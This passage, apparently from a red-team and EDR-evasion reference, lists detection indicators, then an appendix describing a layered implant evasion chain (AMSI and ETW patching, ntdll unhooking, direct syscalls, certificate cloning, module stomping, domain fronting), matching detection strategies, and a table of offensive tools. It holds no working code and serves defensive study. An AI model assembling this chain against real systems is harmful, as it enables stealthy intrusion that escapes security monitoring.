- Behavioral: single process performing diverse reconnaissance (network, AD, local enum)
- ETW: .NET CLR events in non-.NET processes (BOF.NET)
- Named pipe / Beacon communication patterns
- LDAP query patterns from non-domain-tool processes
Appendix A: Combined Evasion Stack (Modern Red Team)
A contemporary implant chains these layers:
1. Payload: Cobalt Strike / Mythic / Sliver beacon
2. Shellcode: Donut conversion (.NET -> PIC shellcode)
3. Encryption: AES-256 + Chaskey with random keys
4. Packing: ProtectMyTooling chain (SGN -> Nimcrypt2 -> custom loader)
5. Signing: Limelighter certificate clone from legitimate vendor
6. Delivery: DLL sideload via signed EXE or LOLBin chain
7. Execution: ScareCrow loader with:
- AMSI patch (AmsiScanBuffer)
- ETW patch (EtwEventWrite)
- ntdll unhook (KnownDLLs method)
- Direct syscalls (SysWhispers3 Jumper Randomized)
8. Injection: Module stomping into legitimate DLL
9. Persistence: COM hijack or scheduled task via direct API
10. C2 comms: Domain fronting / CDN abuse / DNS-over-HTTPS
Detection strategy for this stack:
- Kernel callbacks (process, thread, image load) — cannot be unhooked from user mode
Microsoft-Windows-Threat-IntelligenceETW provider (PPL-protected)- Memory scanning for unbacked executable regions
- Call stack analysis on syscalls (RIP validation, return address verification)
- Behavioral analytics: process lineage, API call sequences, network patterns
- YARA on process memory for known implant signatures
- WFP filter audit for EDR silencing attempts
- ETW gap detection for blinded processes
Appendix B: Tool Reference
| Tool | Purpose | URL |
|---|---|---|
| EDRs | EDR hook enumeration + bypass research | Mr-Un1k0d3r/EDRs |
| EDRSilencer | WFP-based EDR network blocking | netero1010/EDRSilencer |
| ScareCrow | Full-chain payload creation with EDR bypass | optiv/ScareCrow |
| Chameleon | PowerShell obfuscation for AMSI bypass | klezVirus/Chameleon |
| SharpCollection | Pre-compiled offensive .NET tools | Flangvik/SharpCollection |
| Donut | .NET/PE/script to shellcode conversion | TheWover/donut |
| AsmHalosGate | Halo's Gate direct syscall implementation | boku7/AsmHalosGate |
| SysWhispers | Direct syscall stub generation (v1) | jthuraisamy/SysWhispers |
| SysWhispers3 | Advanced syscall generation (egg hunter/jumper) | klezVirus/SysWhispers3 |
| DInvoke | .NET dynamic invocation replacing P/Invoke | TheWover/DInvoke |
| BOF.NET | .NET assembly execution as BOFs | CCob/BOF.NET |
| CS-SA-BOF | Situational awareness BOF collection | trustedsec/CS-Situational-Awareness-BOF |
| DarkLoadLibrary | In-memory DLL loading without LoadLibrary | bats3c/DarkLoadLibrary |
| Limelighter | Code signing certificate cloning | Tylous/Limelighter |
| ProtectMyTooling | Multi-layer payload packing pipeline | mgeeky/ProtectMyTooling |